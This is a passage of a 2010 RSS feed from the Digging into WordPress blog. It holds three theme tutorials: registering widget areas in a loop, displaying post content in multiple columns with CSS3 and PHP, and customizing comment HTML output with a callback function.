		<title>Declare Multiple Widgetized Areas</title>
		<link>http://digwp.com/2010/03/declare-multiple-widgetized-areas/</link>
		<comments>http://digwp.com/2010/03/declare-multiple-widgetized-areas/#comments</comments>
		<pubDate>Thu, 18 Mar 2010 12:24:26 +0000</pubDate>
		<dc:creator>Chris Coyier</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[functions]]></category>
		<category><![CDATA[widgets]]></category>

		<guid isPermaLink="false">http://digwp.com/?p=1686</guid>
		<description><![CDATA[Have a bunch of different areas you wish to declare as a widgetized area? Save repetative code by creating a quick array of their names, then loop through that array calling the register_sidebar() function on each one. Elementary PHP stuff here, but hey, it just saved me quite a few lines of code in a [...]]]></description>
			<content:encoded><![CDATA[<p>Have a bunch of different areas you wish to declare as a widgetized area? Save repetative code by creating a quick array of their names, then loop through that array calling the register_sidebar() function on each one. Elementary PHP stuff here, but hey, it just saved me quite a few lines of code in a widget-heavy theme I am working on.</p>
<pre><code>if ( function_exists('register_sidebar') ) {

    $allWidgetizedAreas = array("Homepage Left", "Homepage Right", "Sidebar One", "Movies", "Admin");
    
    foreach ($allWidgetizedAreas as $WidgetAreaName) {
    
        register_sidebar(array(
           'name'=&gt; $WidgetAreaName,
           'before_widget' =&gt; '&lt;div id="%1$s" class="widget %2$s left half"&gt;',
           'after_widget' =&gt; '&lt;/div&gt;',
           'before_title' =&gt; '&lt;h3 class="widgettitle"&gt;',
           'after_title' =&gt; '&lt;/h3&gt;',
        ));
    
    }

}</code></pre>
<hr />
<p><small>© 2010 <a href="http://digwp.com">Digging into WordPress</a> | <a href="http://digwp.com/2010/03/declare-multiple-widgetized-areas/">Permalink</a> | <a href="http://digwp.com/2010/03/declare-multiple-widgetized-areas/#comments">7 comments</a> | Add to <a href="http://del.icio.us/post?url=http://digwp.com/2010/03/declare-multiple-widgetized-areas/&title=Declare Multiple Widgetized Areas">del.icio.us</a> | Post tags: <a href="http://digwp.com/tag/functions/" rel="tag">functions</a>, <a href="http://digwp.com/tag/php/" rel="tag">PHP</a>, <a href="http://digwp.com/tag/widgets/" rel="tag">widgets</a><br/></small></p>]]></content:encoded>
			<wfw:commentRss>http://digwp.com/2010/03/declare-multiple-widgetized-areas/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>6 Ways to Display WordPress Post Content in Multiple Columns</title>
		<link>http://digwp.com/2010/03/wordpress-post-content-multiple-columns/</link>
		<comments>http://digwp.com/2010/03/wordpress-post-content-multiple-columns/#comments</comments>
		<pubDate>Tue, 16 Mar 2010 08:25:45 +0000</pubDate>
		<dc:creator>Jeff Starr</dc:creator>
				<category><![CDATA[CSS]]></category>
		<category><![CDATA[Design]]></category>
		<category><![CDATA[loop]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[posts]]></category>

		<guid isPermaLink="false">http://digwp.com/?p=1647</guid>
		<description><![CDATA[Most blogs display their content in single columns, but it&#8217;s also possible to display content in multiple columns. Multiple-column layouts are perfect for newspaper and magazine-style themes. Here are six ways of getting the job done. Using CSS3 and progressive enhancement Multiple columns by filtering the_content More flexible multiple columns Multiple loops displayed in multiple [...]]]></description>
			<content:encoded><![CDATA[<p>Most blogs display their content in single columns, but it&rsquo;s also possible to display content in <strong>multiple columns</strong>. Multiple-column layouts are perfect for newspaper and magazine-style themes. Here are six ways of getting the job done.</p>
<ol id="post-menu">
<li><a href="http://digwp.com/2010/03/wordpress-post-content-multiple-columns/#css3">Using CSS3 and progressive enhancement</a></li>
<li><a href="http://digwp.com/2010/03/wordpress-post-content-multiple-columns/#filter">Multiple columns by filtering the_content</a></li>
<li><a href="http://digwp.com/2010/03/wordpress-post-content-multiple-columns/#flexible">More flexible multiple columns</a></li>
<li><a href="http://digwp.com/2010/03/wordpress-post-content-multiple-columns/#loops">Multiple loops displayed in multiple columns</a></li>
<li><a href="http://digwp.com/2010/03/wordpress-post-content-multiple-columns/#horizontal">Display your posts in horizontal display order with two columns</a></li>
<li><a href="http://digwp.com/2010/03/wordpress-post-content-multiple-columns/#bonus">Bonus: Display your category list in two columns</a></li>
</ol>
<h3 id="css3">1. Using CSS3 and progressive enhancement</h3>
<p>I think the easiest way to display your content in multiple columns is to apply a little <acronym title="Cascading Style Sheets">CSS</acronym>3 in progressively enhancing fashion. Let&rsquo;s say you have the following markup:</p>
<pre><code>&lt;div class="content"&gt;
	&lt;p&gt;Lorem ipsum..&lt;/p&gt;
	&lt;p&gt;Lorem ipsum..&lt;/p&gt;
	&lt;p&gt;Lorem ipsum..&lt;/p&gt;
&lt;/div&gt;</code></pre>
<p><span id="more-1647"></span></p>
<p>We can add the following <acronym title="Cascading Style Sheets">CSS</acronym> to display the content in multiple columns:</p>
<pre><code>.content {
	  -moz-column-count: 3;
	  -moz-column-gap: 10px;
	  -moz-column-rule: none;
	  -webkit-column-count: 3;
	  -webkit-column-gap: 10px;
	  -webkit-column-rule: none;
	column-count: 3;
	column-gap: 10px;
	column-rule: none;
	}</code></pre>
<p>This will display your content in three columns with a <code>10px</code> gap between each. This technique is a great way to enhance the display of your content for people running cool modern browsers like Safari and Firefox. What about folks visiting with Internet Exploder or older browsers? They will see your content displayed in a single column, just like they would have before you applied the multiple columns. <strong>Note</strong> that you can specify any number of coulmns and any width for the gap.</p>
<h3 id="filter">2. Multiple columns by filtering the_content</h3>
<p>If you need something a little more &ldquo;universal&rdquo; than what is currently available with <acronym title="Cascading Style Sheets">CSS</acronym>3, we can always dig into our template files, modify things at the <acronym title="PHP: Hypertext Preprocessor">PHP</acronym>/<acronym title="(eXtensible) Hypertext Markup Language">(X)HTML</acronym> level, and then style accordingly. Here is the technique provided by <a href="http://www.kriesi.at/archives/wordpress-display-content-in-multiple-columns" title="Wordpress: Display Content in multiple Columns">Kriesi.at</a>:</p>
<pre><code>function my_multi_col($content) {

	$columns = explode('&lt;h2&gt;', $content);
	$i = 0;

	foreach ($columns as $column) {
		if (($i % 2) == 0) {
			$return .= '&lt;div class="content_left"&gt;'."\n";
			if ($i &gt; 1) {
				$return .= "&lt;h2&gt;";
			} else {
				$return .= '&lt;div class="content_right"&gt;'."\n &lt;h2&gt;";
			}
			$return .= $column;
			$return .= '&lt;/p&gt;&lt;/div&gt;';
			$i++;
		}
		if(isset($columns[1])) {
	    		$content = wpautop($return);
		} else {
	    		$content = wpautop($content);
		}
		echo $content;
	}
}
add_filter('the_content', 'my_multi_col');</code></pre>
<p>Just place that into your active theme&rsquo;s <code>functions.php</code> file and then apply the following <acronym title="Cascading Style Sheets">CSS</acronym>:</p>
<pre><code>.content_right, .content_left{
	float: left;
	width: 45%;
	}
.content_left{
	padding-right: 5%;
	}</code></pre>
<p>Once implemented, this multi-column technique creates a a column for each instance of <code>&lt;h2&gt;</code> found within the post content. Thus, be sure to limit the number of <code>&lt;h2&gt;</code> elements to two in order to avoid layout breakage. <strong>Note</strong> that you could also modify the code to use a different element if the <code>&lt;h2&gt;</code> tag isn&rsquo;t good for you. Multiple columns doesn&rsquo;t get much easier, but just in case you need an alternate method for whatever reason, read on for some more great techniques.</p>
<h3 id="flexible">3. More flexible multiple columns</h3>
<p>The previous method works nice for two columns and no fuss, but for three or more columns we&rsquo;re going to need something a little more robust. fortunately, <a href="http://www.robsearles.com/2009/07/05/wordpress-multiple-content-columns/" title="Wordpress: Multiple Content Columns">Rob Searles</a> shares a technique that allows any number of columns with completely different content in each. This technique creates columns based on multiple instances of the <code>&lt;!--</code><code>more--&gt;</code> tag. There are several caveats, so check the orginal article for all the details.</p>
<p>Here are the steps involved in implementing this technique:</p>
<ol>
<li>Add the <code>my_multi_col_v2</code> function to your <code>functions.php</code> file</li>
<li>Add another snippet to your theme template file, for example <code>page.php</code></li>
<li>Add some <acronym title="Cascading Style Sheets">CSS</acronym> to format the markup into columns</li>
<li>Add a couple of <code>&lt;!--</code><code>more--&gt;</code> tags in your post or page to create the three columns</li>
</ol>
<p><strong>1.</strong> Let&rsquo;s go through these steps, beginning with the main function that you should place into your theme&rsquo;s <code>functions.php</code> file:</p>
<pre><code>function my_multi_col_v2($content){
	// run through a couple of essential tasks to prepare the content
	$content = apply_filters('the_content', $content);
	$content = str_replace(']]&gt;', ']]&amp;gt;', $content);
 
	// the first "more" is converted to a span with ID
	$columns = preg_split('/(&lt;span id="more-\d+"&gt;&lt;\/span&gt;)|(&lt;!--more--&gt;)&lt;\/p&gt;/', $content);
	$col_count = count($columns);
 
	if($col_count &gt; 1) {
		for($i=0; $i&lt;$col_count; $i++) {
			// check to see if there is a final &lt;/p&gt;, if not add it
			if(!preg_match('/&lt;\/p&gt;\s?$/', $columns[$i]) )  {
				$columns[$i] .= '&lt;/p&gt;';
			}
			// check to see if there is an appending &lt;/p&gt;, if there is, remove
			$columns[$i] = preg_replace('/^\s?&lt;\/p&gt;/', '', $columns[$i]);
			// now add the div wrapper
			$columns[$i] = '&lt;div class="dynamic-col-'.($i+1).'"&gt;'.$columns[$i].'&lt;/div&gt;';
		}
		$content = join($columns, "\n").'&lt;div class="clear"&gt;&lt;/div&gt;';
	}
	else {
		// this page does not have dynamic columns
		$content = wpautop($content);
	}
	// remove any left over empty &lt;p&gt; tags
	$content = str_replace('&lt;p&gt;&lt;/p&gt;', '', $content);
	return $content;
}</code></pre>
<p><strong>2.</strong> Once that&rsquo;s in place, replace your <code>the_content()</code> tag with the following code:</p>
<pre><code>$content = get_the_content('',FALSE,''); // arguments remove 'more' text
echo my_multi_col_v2($content);</code></pre>
<p><strong>3.</strong> The last bit of code that we need to setup is the <acronym title="Cascading Style Sheets">CSS</acronym> to make it all sweet:</p>
<pre><code>/* dynamic columns */
div.dynamic-col-1 { float: left; width: 38%; padding-right: 2%;}
div.dynamic-col-2 { float: left; width: 38%;padding-right: 2%;}
div.dynamic-col-3 { float: left; width: 20%;}
div.clear { clear: both; }</code></pre>
<p><strong>4.</strong> And last but not least, remember to add the two <code>&lt;!--</code><code>more--&gt;</code> tags in your post/page content to create the three columns.</p>
<p>That&rsquo;s all there is to it. Pretty good stuff, but even so, there are even more alternatives available. next we&rsquo;ll look at a technique for displaying multiple loops in multiple columns.</p>
<h3 id="loops">4. Multiple loops displayed in multiple columns</h3>
<p>Not too long ago, I wrote a post at Perishable Press explaining <a href="http://perishablepress.com/press/2008/09/01/multiple-loops-and-multiple-columns-with-wordpress/" title="Multiple Loops and Multiple Columns with WordPress, (X)HTML and CSS">how to display multiple loops with multiple columns</a>. The final product will look display something like this:</p>
<ul>
<li>First column, first loop: display posts #1-5</li>
<li>Second column, second loop: display posts #6-10</li>
<li>Third column, third loop: display posts #11-15</li>
</ul>
<p>Using WordPress and a little <acronym title="Cascading Style Sheets">CSS</acronym>, this configuration is relatively easy to accomplish. Let&rsquo;s cut right to the chase..</p>
<h4>Step 1: Setup the multiple loops</h4>
<p>The first thing we want to do is replace the standard WordPress loop with the following code:</p>
<pre><code>// FIRST LOOP: display posts 1 thru 5
&lt;?php query_posts('showposts=5'); ?&gt;
&lt;?php $posts = get_posts('numberposts=5&amp;offset=0'); foreach ($posts as $post) : start_wp(); ?&gt;
&lt;?php static $count1 = 0; if ($count1 == "5") { break; } else { ?&gt;

&lt;?php the_title(); ?&gt;
&lt;?php the_content(); ?&gt;

&lt;?php $count1++; } ?&gt;
&lt;?php endforeach; ?&gt;


// SECOND LOOP: display posts 6 thru 10
&lt;?php query_posts('showposts=5'); ?&gt;
&lt;?php $posts = get_posts('numberposts=5&amp;offset=5'); foreach ($posts as $post) : start_wp(); ?&gt;
&lt;?php static $count2 = 0; if ($count2 == "5") { break; } else { ?&gt;

&lt;?php the_title(); ?&gt;
&lt;?php the_content(); ?&gt;

&lt;?php $count2++; } ?&gt;
&lt;?php endforeach; ?&gt;


// THIRD LOOP: display posts 11 thru 15
&lt;?php query_posts('showposts=5'); ?&gt;
&lt;?php $posts = get_posts('numberposts=5&amp;offset=10'); foreach ($posts as $post) : start_wp(); ?&gt;
&lt;?php static $count3 = 0; if ($count3 == "5") { break; } else { ?&gt;

&lt;?php the_title(); ?&gt;
&lt;?php the_content(); ?&gt;

&lt;?php $count3++; } ?&gt;
&lt;?php endforeach; ?&gt;</code></pre>
<p>That&rsquo;s the juice right there. We have three loops, each displaying five posts. The first loop displays the first five posts, the second loop displays the next five posts, and the third loop displays the next five posts. Thus, this multiple-loop configuration displays the most recent 15 posts, each of which being unique. <a href="http://perishablepress.com/press/2008/09/01/multiple-loops-and-multiple-columns-with-wordpress/" title="Multiple Loops and Multiple Columns with WordPress, (X)HTML and CSS">See the original post</a> for more information, options and details.</p>
<h4>Step 2: Markup your theme template file(s)</h4>
<p>Now that we have the <acronym title="PHP: Hypertext Preprocessor">PHP</acronym> in place, we are ready to add the <acronym title="(eXtensible) Hypertext Markup Language">(X)HTML</acronym> markup required for the final three-column configuration. There are many ways to accomplish this, this is merely one of them:</p>
<pre><code>&lt;div id="column_01"&gt;

	&lt;!-- FIRST LOOP --&gt;

&lt;/div&gt;

&lt;div id="column_wrap"&gt;

	&lt;div id="column_02"&gt;

		&lt;!-- SECOND LOOP --&gt;

	&lt;/div&gt;
	&lt;div id="column_03"&gt;

		&lt;!-- THIRD LOOP --&gt;
	
	&lt;/div&gt;

&lt;/div&gt;</code></pre>
<p>Here, each of the three loops will be placed into its own <code>div</code>, which then will be styled with a little <acronym title="Cascading Style Sheets">CSS</acronym> to transform it into one of the three columns. Note that you may want to change the <code>id</code> names of the divisions to better represent the particular semantics of your document. Now let&rsquo;s move on to the <acronym title="Cascading Style Sheets">CSS</acronym>..</p>
<h4>Step 3: Styling the columns with CSS</h4>
<p>The final step in the tutorial is to style the markup with <acronym title="Cascading Style Sheets">CSS</acronym>. Nothing too fancy, really. Creating the columns is merely a matter of floating the individual divs and applying a width to each of them:</p>
<pre><code>/* three column layout */
div#column_01 {
	float: left;
	clear: none;
	width: 30%;
	}
div#column_wrap {
	float: right;
	clear: none;
	width: 60%;
	}
	div#column_02 {
		float: left;
		clear: none;
		width: 45%;
		}
	div#column_03 {
		float: right;
		clear: none;
		width: 45%;
		}</code></pre>
<p>The trick here is to use <code>width</code> values that will create the correct column widths. The values used in the example produce three columns of <em>approximately</em> equal width. Again, for more information on the details of this technique, see the original post.</p>
<p>Once you get everything setup, your posts should display your multiple-loop content in multiple columns, with each column showing the contents of a different loop. This is a great way to customize your theme, making it possible to present lots of disparate information within an easy-to-understand layout. Even so, this technique may not do it for you either. If so, we&rsquo;ve got a couple more WordPress tricks up our sleeve!</p>
<h3 id="horizontal">5. Display your posts in horizontal display order with two columns</h3>
<p>That&rsquo;s a mouthful, isn&rsquo;t it? What we&rsquo;re doing in this section is changing the order in which your two-column posts appear on the page. Typically, your two-column layout displays posts like this:</p>
<pre><code>Post #1   |   Post #4
Post #2   |   Post #5
Post #3   |   Post #6
 .        |    .
 .        |    .
 .        |    .</code></pre>
<p>All of the multi-column methods we&rsquo;ve discussed so far result in this sort of post-display order. So now we want to change things up a bit and display our two-column posts in <em>horizontal</em> display order, like so:</p>
<pre><code>Post #1   |   Post #2
Post #3   |   Post #4
Post #5   |   Post #6
 .        |    .
 .        |    .
 .        |    .</code></pre>
<p>How is this accomplished? As explained in my <a href="http://perishablepress.com/press/2008/08/04/two-column-horizontal-sequence-wordpress-post-order/" title="Horizontally Sequenced Display Order for WordPress Posts in Two Columns">horizontal-display tutorial</a>, this is easily accomplished using two default loops and the <code>rewind_posts()</code> function. The first loop will display the posts in the first column, while the second loop will display the posts in the second column. To do this, we use <acronym title="PHP: Hypertext Preprocessor">PHP</acronym>&rsquo;s <a  href="http://us.php.net/operators.arithmetic" title="PHP: Arithmetic Operators - Manual">modulus operator</a> to filter out every other post from the first loop, which will display posts in horizontal order.</p>
<p>To make this happen, first replace your default WordPress loop with the following code:</p>
<pre><code>&lt;?php if (have_posts()) : while(have_posts()) : $i++; if(($i % 2) == 0) : $wp_query-&gt;next_post(); else : the_post(); ?&gt;

&lt;div id="left-column"&gt;
&lt;h1&gt;&lt;?php the_permalink(); ?&gt;&lt;/h1&gt;
&lt;?php the_content(); ?&gt;
&lt;/div&gt;

&lt;?php endif; endwhile; else: ?&gt;
&lt;div&gt;Alternate content&lt;/div&gt;
&lt;?php endif; ?&gt;

&lt;?php $i = 0; rewind_posts(); ?&gt;

&lt;?php if (have_posts()) : while(have_posts()) : $i++; if(($i % 2) !== 0) : $wp_query-&gt;next_post(); else : the_post(); ?&gt;

&lt;div id="right-column"&gt;
&lt;h1&gt;&lt;?php the_permalink(); ?&gt;&lt;/h1&gt;
&lt;?php the_content(); ?&gt;
&lt;/div&gt;

&lt;?php endif; endwhile; else: ?&gt;
&lt;div&gt;Alternate content&lt;/div&gt;
&lt;?php endif; ?&gt;</code></pre>
<p>With that code in place, oddly numbered posts will appear within a division identified with an attribute of <code>id="left-column"</code>. Likewise, even-numbered posts will appear within a division identified with an attribute of <code>id="right-column"</code>. Thus, we may apply the following <acronym title="Cascading Style Sheets">CSS</acronym> to position the divisions as two adjacent columns:</p>
<pre><code>div#left-column {
	width: 333px;
	float: left;
	clear: none;
	}
div#right-column {
	width: 333px;
	float: right;
	clear: none;
	}</code></pre>
<p>Of course, when it comes to configuring the WordPress loop and styling your page with <acronym title="Cascading Style Sheets">CSS</acronym>,<br />
anything is possible. Feel free to experiment and adapt this technique to suit your own diabolical purposes&nbsp;;) As with the other methods described in this <acronym title="Digging into WordPress">DiW</acronym> post, much more information is available for this technique at the <a href="http://perishablepress.com/press/2008/08/04/two-column-horizontal-sequence-wordpress-post-order/" title="Horizontally Sequenced Display Order for WordPress Posts in Two Columns">original article</a>, including a nice, <acronym title="Cascading Style Sheets">CSS</acronym>-only method that is sure to leave you breathless.</p>
<h3 id="bonus">6. Bonus: Display your category list in two columns</h3>
<p>Using a little <acronym title="PHP: Hypertext Preprocessor">PHP</acronym> magic, we can get WordPress&rsquo; <code>wp_list_categories()</code> to display our <strong>categories in two columns</strong>. As <a href="http://www.blogohblog.com/10-wordpress-hacks-to-make-your-life-even-easier/" title="10 WordPress Hacks to Make Your Life Even Easier">Blog Oh Blog</a> explains, all you need is the following code placed in your theme file:</p>
<pre><code>&lt;?php // display categories in two columns
$cats = explode('&lt;br /&gt;', wp_list_categories('title_li=&amp;echo=0&amp;depth=1&amp;style=none'));
$cat_n = count($cats) - 1;
for ($i = 0; $i &lt; $cat_n; $i++):
	if ($i &lt; $cat_n/2):
		$cat_left = $cat_left.'&lt;li&gt;'.$cats[$i].'&lt;/li&gt;';
	elseif ($i &gt;= $cat_n/2):
		$cat_right = $cat_right.'&lt;li&gt;'.$cats[$i].'&lt;/li&gt;';
	endif;
endfor; ?&gt;

&lt;ul class="left"&gt;
	&lt;?php echo $cat_left; ?&gt;
&lt;/ul&gt;
&lt;ul class="right"&gt;
	&lt;?php echo $cat_right; ?&gt;
&lt;/ul&gt;</code></pre>
<p>Just use that code where you would like the categories to appear and enjoy the results.</p>
<h3>Wrapping it up</h3>
<p>Hopefully these techniques will inspire and enable you to break out of the &ldquo;single-column&rdquo; mindset and explore some multi-column possibilities. Using multiple columns for your content is a great way to enhance the visual appeal of your design and readability of your content.</p>
<p>There is SO much you can do with WordPress, <acronym title="PHP: Hypertext Preprocessor">PHP</acronym>, <acronym title="(eXtensible) Hypertext Markup Language">(X)HTML</acronym>, and <acronym title="Cascading Style Sheets">CSS</acronym>. The possibilities are endless indeed. The multiple-column techniques presented in this article provide a great starting point for creating more elaborate and sophisticated page layouts. So experiment, have fun, and be safe!!</p>
<hr />
<p><small>© 2010 <a href="http://digwp.com">Digging into WordPress</a> | <a href="http://digwp.com/2010/03/wordpress-post-content-multiple-columns/">Permalink</a> | <a href="http://digwp.com/2010/03/wordpress-post-content-multiple-columns/#comments">30 comments</a> | Add to <a href="http://del.icio.us/post?url=http://digwp.com/2010/03/wordpress-post-content-multiple-columns/&title=6 Ways to Display WordPress Post Content in Multiple Columns">del.icio.us</a> | Post tags: <a href="http://digwp.com/tag/css/" rel="tag">CSS</a>, <a href="http://digwp.com/tag/loop/" rel="tag">loop</a>, <a href="http://digwp.com/tag/php/" rel="tag">PHP</a>, <a href="http://digwp.com/tag/posts/" rel="tag">posts</a><br/></small></p>]]></content:encoded>
			<wfw:commentRss>http://digwp.com/2010/03/wordpress-post-content-multiple-columns/feed/</wfw:commentRss>
		<slash:comments>30</slash:comments>
		</item>
		<item>
		<title>Custom Comments HTML Output</title>
		<link>http://digwp.com/2010/02/custom-comments-html-output/</link>
		<comments>http://digwp.com/2010/02/custom-comments-html-output/#comments</comments>
		<pubDate>Thu, 25 Feb 2010 20:04:01 +0000</pubDate>
		<dc:creator>Chris Coyier</dc:creator>
				<category><![CDATA[Theme]]></category>
		<category><![CDATA[comments]]></category>
		<category><![CDATA[functions]]></category>
		<category><![CDATA[PHP]]></category>

		<guid isPermaLink="false">http://digwp.com/?p=1469</guid>
		<description><![CDATA[Displaying all the comments on a Post is incredibly easy. In your single.php file you probably have a line like this: &#60;?php comments_template(); ?&#62; That line basically calls/includes your comments.php file. Within that, the line to output all comments is something really simple like this: &#60;ol class="commentlist"&#62; &#60;?php wp_list_comments(); ?&#62; &#60;/ol&#62; But that doesn&#8217;t leave [...]]]></description>
			<content:encoded><![CDATA[<p>Displaying all the comments on a Post is incredibly easy. In your single.php file you probably have a line like this:</p>
<pre><code>&lt;?php comments_template(); ?&gt;</code></pre>
<p>That line basically calls/includes your comments.php file. Within that, the line to output all comments is something really simple like this:</p>
<pre><code>&lt;ol class="commentlist"&gt;
   &lt;?php wp_list_comments(); ?&gt;
&lt;/ol&gt;</code></pre>
<p>But that doesn&#8217;t leave much by way of customizing the HTML that gets output, does it? Fortunately it&#8217;s fairly easy to specify your own formatting in a non-destructive non-core-altering way. Although personally, I&#8217;m having one little issue with it. Let&#8217;s take a look.</p>
<p><span id="more-1469"></span></p>
<h3>Why would you need this?</h3>
<p>This is what you get as the defacto standard comment output:</p>
<div class="image-wrap">
<img src="http://digwp.com/wp-content/blog-images/comment-output.jpg" width="590" height="420" alt="" title="" /><br />
This is from the new 2010 theme slated to come out with WordPress 3
</div>
<p>But what if you wanted something more like this?</p>
<div class="image-wrap">
<img src="http://digwp.com/wp-content/blog-images/redonecomment.png" width="529" height="234" alt="" title="" /><br />
From a new client site I&#8217;ve been working on
</div>
<p>The best way to get into that new skin is to get your hands on the HTML, as CSS alone isn&#8217;t quite going to get us there.</p>
<h3>Custom output through a callback function</h3>
<p>The trick is is that the wp_list_comments function accepts a parameter for a callback function. This function overrides what the output of each comment will be. Here is an example of that:</p>
<pre><code>&lt;ol class="commentlist"&gt;
    &lt;?php wp_list_comments('type=comment&amp;callback=format_comment'); ?&gt;
&lt;/ol&gt;</code></pre>
<p>The above code will only output &#8220;comments&#8221; (and not trackbacks or pingbacks) and will call a custom function &#8220;format_comment&#8221; for formatting the comment. This function needs to be built in your functions.php file, and better be present before you call this function otherwise you&#8217;ll throw an error.</p>
<p>The callback function is completely in charge of the comment formatting. It could be something completely whacky like this:</p>
<pre><code>&lt;?php
    function format_comment() {  ?&gt;
           &lt;li&gt;This is whack, yo.&lt;/li&gt;
   &lt;?php } 
?&gt;</code></pre>
<p>Which would return that ridiculous sentence for every single comment, instead of the actual comment. Of course you wouldn&#8217;t (probably) ever do that. What you probably want to do, is just adjust how the different standard comment-related data is output. To do that, first you pull in the comment globals, then you can use all the comment functions that return the stuff that you probably want:</p>
<ul>
<li>get_comment_link</li>
<li>get_comment_author</li>
<li>get_comment_date</li>
<li>get_comment_time</li>
<li>get_comment_text</li>
<li>etc.</li>
</ul>
<p>Here is a customized formatting function I recently used:</p>
<pre><code>&lt;?php

    function format_comment($comment, $args, $depth) {
    
       $GLOBALS['comment'] = $comment; ?&gt;
       
        &lt;li &lt;?php comment_class(); ?&gt; id="li-comment-&lt;?php comment_ID() ?&gt;"&gt;
                
            &lt;div class="comment-intro"&gt;
                &lt;em&gt;commented on&lt;/em&gt; 
                &lt;a class="comment-permalink" href="&lt;?php echo htmlspecialchars ( get_comment_link( $comment-&gt;comment_ID ) ) ?&gt;"&gt;&lt;?php printf(__('%1$s'), get_comment_date(), get_comment_time()) ?&gt;&lt;/a&gt;
                &lt;em&gt;by&lt;/em&gt; 
                &lt;?php printf(__('%s'), get_comment_author_link()) ?&gt;
            &lt;/div&gt;
            
            &lt;?php if ($comment-&gt;comment_approved == '0') : ?&gt;
                &lt;em&gt;&lt;php _e('Your comment is awaiting moderation.') ?&gt;&lt;/em&gt;&lt;br /&gt;
            &lt;?php endif; ?&gt;
            
            &lt;?php comment_text(); ?&gt;
            
            &lt;div class="reply"&gt;
                &lt;?php comment_reply_link(array_merge( $args, array('depth' =&gt; $depth, 'max_depth' =&gt; $args['max_depth']))) ?&gt;
            &lt;/div&gt;
        
&lt;?php } ?&gt;</code></pre>
<h3>When NOT to customize output</h3>
<p>Remember that CSS is quite the handyman at whipping things into shape. Let&#8217;s say your goal was to get rid of the gravatars that the default comment formatting outputs. Well that&#8217;s as simple as:</p>
<pre><code>.avatar { display: none; }</code></pre>
<p>And with more powerful tools like absolute positioning, you can take the default output and really do a ton of customization. There are some times though, when you need to alter the HTML to do it right, and that&#8217;s when all this is useful.</p>
<h3>My little problem</h3>
<p>My custom output works really well, save for one little problem. That is nested replies. The WORK, it&#8217;s just the output is invalid, as nested lists sit directly within the list above it instead of being wrapped in a list item like they should be. See:</p>
<p><img src="http://digwp.com/wp-content/blog-images/naughtyoutput.jpg" width="590" height="720" alt="" title="" /></p>
<p>I&#8217;m not quite sure how to fix that, although I imagine it can be done within the custom function somehow? If anyone knows, let me know.</p>
<h3>Update</h3>
<p>It was my mistake, although in my defense, the answer is a little weird. What you need to is <strong>OMIT</strong> the closing <code>&amp;lt;/li&amp;gt;</code> tag in the callback function. WordPress will add that automatically for you. </p>
<p>In other news, if you find your callback function breaks the &#8220;Reply&#8221; button functionality, take a look at the <code>add_below</code> parameter:</p>
<pre><code>&lt;?php comment_reply_link(array_merge( $args, array('reply_text' =&gt; 'Reply', 'add_below' =&gt; $add_below, 'depth' =&gt; $depth, 'max_depth' =&gt; $args['max_depth']))); ?&gt; </code></pre>
<p>That parameter takes a string, like &#8220;div-comment&#8221; for example, and then the reply links on each comment will be looking for the page element of &#8220;div-comment-XXXX&#8221; to jump the comment form up to (where XXXX is the ID of the comment). So your theme better have page elements with matching ID&#8217;s, or the reply link will &#8220;fail&#8221; and reload the page. I say &#8220;fail&#8221; in quotes because replying will still work, it just doesn&#8217;t do the cool jump-up technique which is the whole point of the <code>comment-reply.js</code> file that most themes load on single pages.</p>
<hr />
<p><small>© 2010 <a href="http://digwp.com">Digging into WordPress</a> | <a href="http://digwp.com/2010/02/custom-comments-html-output/">Permalink</a> | <a href="http://digwp.com/2010/02/custom-comments-html-output/#comments">14 comments</a> | Add to <a href="http://del.icio.us/post?url=http://digwp.com/2010/02/custom-comments-html-output/&title=Custom Comments HTML Output">del.icio.us</a> | Post tags: <a href="http://digwp.com/tag/comments/" rel="tag">comments</a>, <a href="http://digwp.com/tag/functions/" rel="tag">functions</a>, <a href="http://digwp.com/tag/php/" rel="tag">PHP</a>, <a href="http://digwp.com/tag/theme/" rel="tag">Theme</a><br/></small></p>]]></content:encoded>
			<wfw:commentRss>http://digwp.com/2010/02/custom-comments-html-output/feed/</wfw:commentRss>
		<slash:comments>14</slash:comments>
		</item>
	</channel>
</rss>

